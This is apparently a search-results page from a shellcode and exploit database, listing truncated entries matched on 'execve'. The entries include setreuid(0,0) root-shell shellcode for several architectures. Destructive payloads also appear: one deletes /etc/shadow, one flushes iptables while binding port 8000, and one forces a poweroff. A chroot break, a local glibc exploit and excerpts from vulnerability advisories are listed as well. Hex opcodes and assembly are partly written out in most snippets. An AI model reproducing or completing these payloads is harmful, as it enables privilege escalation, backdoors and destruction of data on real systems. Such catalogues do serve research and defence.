1171 matches found
Linux - setreuid (0,0) & execve(/bin/rm /etc/shadow)
No description provided by source. / rmtheshadow.c by mrme Just for fun : visit: http://www.corelan.be:8800/ / include stdio.h include string.h char sc = x31xc0 // xor %eax,%eax xb0x46 // mov $046,%al x31xdb // xor %ebx,%ebx x31xc9 // xor %ecx,%ecx xcdx80 // int $080 x31xc0 // xor %eax,%eax x50 /...
os-x/PPC/x86 execve("/bin/sh",{"/bin/sh",NULL},NULL) 121 bytes
No description provided by source. / - dual.c - by [email protected] execve/bin/sh,/bin/sh,NULL,NULL shellcode for osx both the ppc and x86 version. Sample output: -nemo@squee:/shellcode$ file dual-ppc dual-ppc: Mach-O executable ppc -nemo@squee:/shellcode$ ./dual-ppc sh-2.05b$ exit...
Linux x86 execve("/usr/bin/wget", "aaaa"); - 42 bytes
No description provided by source. / Title: Linux x86 execve/usr/bin/wget, aaaa; - 42 bytes Author: Jonathan Salwan submit AT shell-storm.org Web: http://www.shell-storm.org Twitter: http://twitter.com/jonathansalwan !Database of Shellcodes http://www.shell-storm.org/shellcode/ 08048054 .text:...
Linux/SuperH - sh4 - setuid(0) ; execve("/bin/sh", NULL, NULL) - 27 bytes
No description provided by source. / Linux/SuperH - sh4 - setuid0 ; execve/bin/sh, NULL, NULL - 27 bytes Tested on debian-sh4 2.6.32-5-sh7751r by Jonathan Salwan - twitter: @jonathansalwan 400054: 17 e3 mov 23,r3 400056: 4a 24 xor r4,r4 400058: 0b c3 trapa 11 40005a: 3a 23 xor r3,r3 40005c: 0b e3...
Linux/MIPS - execve /bin/sh - 48 bytes
No description provided by source. / Title: Linux/MIPS - execve /bin/sh - 48 bytes Date: 2011-11-24 Author: rigan - imrigan at gmail.com .text .global start start: slti $a2, $zero, -1 li $t7, 0x2f2f6269 sw $t7, -12$sp li $t6, 0x6e2f7368 sw $t6, -8$sp sw $zero, -4$sp la $a0, -12$sp slti $a1, $zero...
14 Bytes execve("a->/bin/sh") Local-only Shellcode
No description provided by source. include stdio.h include string.h / by Magnefikko 17.04.2010 [email protected] Promhyl Studies :: http://promhyl.oz.pl Subgroup: PRekambr Name: 14 bytes execvea-/bin/sh local-only shellcode Platform: Linux x86 execvea, 0, 0; $ ln -s /bin/sh a $ gcc...
linux/x86 setreuid(0, 0) + execve(/bin/sh) 31 bytes
No description provided by source. / linux/x86 setreuid0, 0 + execve/bin/sh, /bin/sh, NULL, NULL - 31 bytes - izik [email protected] / char shellcode = \x6a\x46 // push $0x46 \x58 // pop %eax \x31\xdb // xor %ebx,%ebx \x31\xc9 // xor %ecx,%ecx \xcd\x80 // int $0x80 \x99 // cltd \xb0\x0b // mov...
Local Glibc shared library (.so) <= 2.11.1 exploit
No description provided by source. Exploit Title: Local Glibc shared library .so exploit Date: 07.04.10 Author: Rh0 [email protected] Software Link: NA Version: = 2.11.1, higher not tested Tested on: Debian stable x86-64, Ubunutu 9.10 x86, Fedora 12 x86 CVE : NA Code : !/bin/sh A lot of applications in...
FreeBSD 4.10/5.x execve() Unaligned Memory Access Denial of Service Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/10596/info It is reported that FreeBSD running on the Alpha architecture is susceptible to a denial of service vulnerability in its execve system call. An attacker with local interactive user-level access on an affected...
linux/x86 setreuid(0,0) execve("/bin/sh", ["/bin/sh", NULL]) 33 bytes
No description provided by source. / Linux/x86 setreuid0,0 + execve/bin/sh, /bin/sh, NULL - 33 bytes - [email protected] / char shellcode = \x6a\x46 // push $0x46 \x58 // pop %eax \x31\xdb // xor %ebx, %ebx \x31\xc9 // xor %ecx, %ecx \xcd\x80 // int $0x80 \x31\xd2 // xor %edx, %edx \x6a\x0b // pus...
Linux x86 - polymorphic execve("/bin/bash","-p",NULL) - 57 bytes
No description provided by source. / Title: Linux x86 - polymorphic execve/bin/bash, /bin/bash, -p, NULL - 57 bytes Author: Jonathan Salwan Mail: [email protected] Web: http://www.shell-storm.org !Database of Shellcodes http://www.shell-storm.org/shellcode/ sh sets euid, egid to uid, gid if ...
XFree86 4.2 XLOCALEDIR Local Buffer Overflow Vulnerability (3)
No description provided by source. source: http://www.securityfocus.com/bid/7002/info Several XFree86 utilities may be prone to a buffer overflow condition. The vulnerability exists due to insufficient boundary checks performed by these utilities when referencing the XLOCALEDIR environment...
BSD 4.2 fingerd buffer overflow Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/2/info fingerd is a remote user information server that implements the protocol defined in RFC742. There exists a buffer overflow in finderd that allows a remote attacker to execute any local binaries. finderd reads input...
linux/x86 bindport 8000 & execve iptables -F 176 bytes
No description provided by source. ; ; Title : Bindport TCP/8000 & execve iptables -F ; os : Linux x86 ; size : 176 bytes ; IP : localhost ; Port : 8000 ; Use : nc localhost 8000 ; ; Author : Jonathan Salwan ; Mail : submit AT shell-storm.org ; Web : http://www.shell-storm.org ; ; ; More shellcod...
freebsd/x86 execve /bin/sh 23 bytes (2)
No description provided by source. / FreeBSD 23 byte execve code. Greetz to anathema, the first who published this way of writing shellcodes. greetz to preedator marcetam [email protected] / char fbsdexecve= \x99 / cdq / \x52 / push %edx / \x68\x6e\x2f\x73\x68 / push $0x68732f6e /...
Linux kernel <= 2.2.18 ptrace/execve Race Condition Vulnerability (1)
No description provided by source. source: http://www.securityfocus.com/bid/2529/info The Linux kernel is the core of all distributions of the Linux Operating System. It was originally written by Linus Torvalds, and is maintained by a community of developers. A problem in the Linux Kernel could...
Linux - setuid(0) & execve("/sbin/poweroff -f")
No description provided by source. include stdio.h / linux/x86 ; setuid0 & execve/sbin/poweroff -f 47 bytes written by ka0x - ka0x01alt+64gmail.com lun sep 21 16:40:16 CEST 2009 greets: an0de, Piker, xarnuz, NullWave07, Pepelux, JosS, sch3m4, Trancek, Hendrix and others! / int main char shellcode...
Linux/x86_64 execve("/bin/sh"); 30 bytes shellcode
No description provided by source. Linux/x8664 execve/bin/sh; 30 bytes shellcode Date: 2010-04-26 Author: zbt Tested on: x8664 Debian GNU/Linux / ; execve/bin/sh, /bin/sh, NULL section .text global start start: xor rdx, rdx mov qword rbx, '//bin/sh' shr rbx, 0x8 push rbx mov rdi, rsp push rax pus...
linux/x86 break chroot setuid(0) + /bin/sh 132 bytes
No description provided by source. / Linux/x86 - setreuid0, 0; - chroot-break make a temp dir with mkdir, chroot to tempdir, go through a loop of chdir..; then a final chroot.; - execve of /bin/sh used in several wu-ftpd, beroftpd and proftpd exploits, amongst others / include stdio.h char c0de =...
netbsd/x86 setreuid(0, 0); execve("/bin//sh", ..., NULL); 30 bytes
No description provided by source. / minervini at neuralnoise dot com c 2005 NetBSD/i386 2.0, setreuid0, 0; execve/bin//sh, ..., NULL; / include sys/types.h include stdio.h include string.h char scode = \x31\xc0 // xor %eax,%eax \x50 // push %eax \x50 // push %eax \x50 // push %eax \x34\x7e // xo...